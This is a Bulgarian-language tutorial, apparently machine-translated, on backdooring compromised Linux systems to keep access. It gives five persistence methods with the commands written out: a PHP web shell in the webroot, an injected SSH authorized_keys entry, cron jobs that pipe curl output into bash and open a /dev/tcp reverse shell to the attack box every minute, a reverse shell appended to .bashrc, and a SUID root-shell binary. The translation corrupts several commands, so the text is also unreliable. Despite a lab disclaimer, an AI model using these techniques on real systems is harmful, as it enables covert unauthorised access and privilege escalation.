Прекарали сте време и усилия, за да получите достъп до Linux система, нека се уверим, че я поддържаме. Днес ще разгледаме различни начини за задна врата на Linux системи и поддържане на нашата устойчивост. Някои са доста добре известни, докато други са малко по-фини. Всяка ситуация е различна, така че е по ваша преценка коя да използвате.

Забележка: Всичко това беше проведено в лабораторна среда и ви умолявам да направите същото.

Метод 1: PHP Backdoors

Много Linux системи имат Apache, работещ и хостващ някаква форма на уеб приложение. Дори и да не работи, имате възможност да го стартирате (изисква се root) с командата

systemctl стартира apache2

Независимо дали вече е стартирана, или ръчно сте активирали услугата, имате опциите да вземете уеб обвивка и да я залепите в директорията webroot, която се намира на:

/var/www/html

Включих връзки към някои от любимите ми уеб обвивки, но не се колебайте да използвате свои собствени.



Методът, който използвате, за да прехвърлите уеб обвивката към целта, зависи изцяло от вас, но ако искате да видите някои потенциални опции, не забравяйте да разгледате това ръководство за прехвърляне на файлове.



След като уеб обвивката е насочена, всичко, което трябва да направите, е да отидете до:

http://[target ip]/webshell.php

Забележка: Примерът по-горе е само пример и зависи изцяло от това как ще наименувате уеб shell (би било добра идея да не го наричате webshell.php, в случай че има объркване).

Уверете се, че сте спрели услугата apache2 и премахнете уеб обвивката, ако сте се упражнявали върху вашата кутия за атака, освен ако не искате да дадете достъп до цялата си домашна мрежа на вашия хост!

Метод 2: Достъп до SSH ключ

SSH ключовете осигуряват изключително удобство за системните администратори, но също така предоставят удобни задни врати за нападателите. Започнете на вашия хост, като генерирате SSH ключ с командата:

ssh-keygen

Това трябва да генерира два файла id_rsa.pub, който е вашият публичен ключ, и id_rsa, който е вашият частен ключ.

Сега, когато ключовете са генерирани, превключете обратно към целевата кутия и cd към съответната начална директория на вашия потребител (cd ~). Както можете да видите на изображението по-долу, нямаше .ssh директория или файл authorized_keys. Това не е проблем, тъй като можете да ги създадете с командите:

mkdir .ssh

докоснете authorized_keys

След като се погрижите за това, обратно във вашата кутия за нападатели, catyou id_rsa.pub (публичния ключ и копирайте целия резултат.

Всичко, което остава да направите, е да повторитеизхода на вашия id_rsa.pub във файла authorized_keysна целевата кутия. Винаги искам да проверя дали ключът е форматиран правилно, като погледна файла authorized_keys. Като алтернатива на ехото на съдържанието на вашия публичен ключ във файла authorized_keys, ако имате sshдостъп до целевото поле, можете да използвате текстовия редактор по ваш избор и да копирате + поставите съдържанието.

Сега, за да използвате задната врата, всичко, което трябва да направите, е sshкъм целевата кутия и без значение на какво сменят паролата си, вие винаги ще имате ключов достъп до хоста.

Забележка: не забравяйте да използвате -i [файл с личен ключ]във вашата sshкоманда, за да посочите, че искате да използвате удостоверяване на ключ.

Метод 3: Backdoor на Cron Job

Задачите на Cron често се пренебрегват от ежедневните потребители, което ги прави чудесно място за поддържане на достъпа ни. Ще разгледам два различни метода за задна врата на cron job, оставяйки на вас да решите кой предпочитате.

Първият включва създаване на bash скрипт с тази команда

#!/bin/bash

bash -i ›& /dev/tcp/[ip адрес]/[порт] 0›&1

Второ, в същата директория като новосъздадения bash скрипт стартирайте python3 уеб сървър с командата:

python3 -m http.server

Накрая настройте вашия netcat слушател на същия порт, посочен във вашия скрипт

nc -nlvp [порт #]

Сега с всичко, което е настроено и готово за работа, превключете обратно към целевата кутия и редактирайте crontab на вашия потребител със следната команда:

crontab -e

Добавете следните два реда към техния crontab:

  • * * * * * shell ‘curl http://[attack box ip]/[file-name.sh] | баш’
  • * * * * * /bin/bash -c ‘/bin/bash -i ›& /dev/tcp/[ip на поле за атака]/[порт] 0›&1’

Първият ще поиска вашия хостван bash скрипт и ще го изтегли в полето за атака. След това ще изпълни скрипта поради „| bash” спецификация в командата.

Вторият не изисква скрипт или уеб сървър, за да работи, просто се обажда обратно към вашата кутия за атака с обратна обвивка всяка минута.

Метод 4: Bashrc Backdoor

Файлът .bashrc, който се намира в домашната директория на всеки потребител, рядко се проверява от средния потребител, което го прави едно от любимите ми места за поставяне на задна врата.

Уверете се, че сте в домашната директория на вашия потребител, като издадете командата:

cd ~

Сега, когато сте в тяхната домашна директория, просто повторете следното и насочете изхода към добавяне (не презаписвайте .bashrc файла):

echo 'bash -i ›& /dev/tcp/[ip адрес на поле за атака]/[порт] 0›&1' ›› ~/.bashrc

Потвърдете, че гореспоменатата команда е завършена успешно, като прегледам края на файла .bashrc с:

tail ~/.bashrc

С това установено, всичко, което остава да направите, е да настроите слушател. Сега всеки път, когато този потребител влезе в кутията, той ще извика вашата кутия за атака на посочения номер на порт! За да симулирате това в лабораторна среда, просто излезте от ssh сесията и влезте отново с постоянството на ключа, което настроихме по-рано. Това влизане ще задейства извикването на обратната обвивка.

Метод 5 SUID Backdoor

Двоичните файлове на SUID са популярен метод за ескалиране на привилегии в Linux система. За нашия последен метод на задна врата ще създадем наш собствен, който ни пуска в root shell от нормален потребител. Този метод, комбиниран с уеб обвивка, може да бъде опустошителна комбинация, тъй като можете да преминете от уеб обвивка до root потребител за няколко минути.

Забележка: Това може да се компилира в целевата кутия, при условие че има инсталиран gcc. В случай, че не стане (както в моя пример), аз просто го компилирах в моята кутия за атака и прехвърлих крайния продукт към целта.

Започнете, като създадете C файл със следната команда

echo ‘int main() { setresuid(0,0,0,); система ("/bin/sh"); }’ › privshell.c

Компилирайте този нов C файл в системен двоичен файл с:

gcc -o privshell privshell.c

Премахнете оригиналния C файл, както се вижда на изображението, и променете собствеността на файла (ако сте го създали като root потребител, той вече ще бъде собственост на root, но не пречи да проверите отново).

chown root:root privshell

Добавете SUID разрешения към файла с:

chmod u+s privshell

Накрая копирайте файла на място, до което нормален потребител има достъп, като /tmpили /var/tmp,и превключете към нормален потребител.

Всичко, което остава да направите, е да изпълните новия злонамерен SUID binaryи да получите rootпривилегии без изобщо да удостоверявате с парола!

Днес разгледахме много, затова препоръчвам да намерите две виртуални машини на Linux, на които да ги практикувате. В процеса на създаване на това ръководство се натъкнах на много отлични ресурси, ако искате да прочетете по-подробно по темата, приятно хакване.

Ресурси: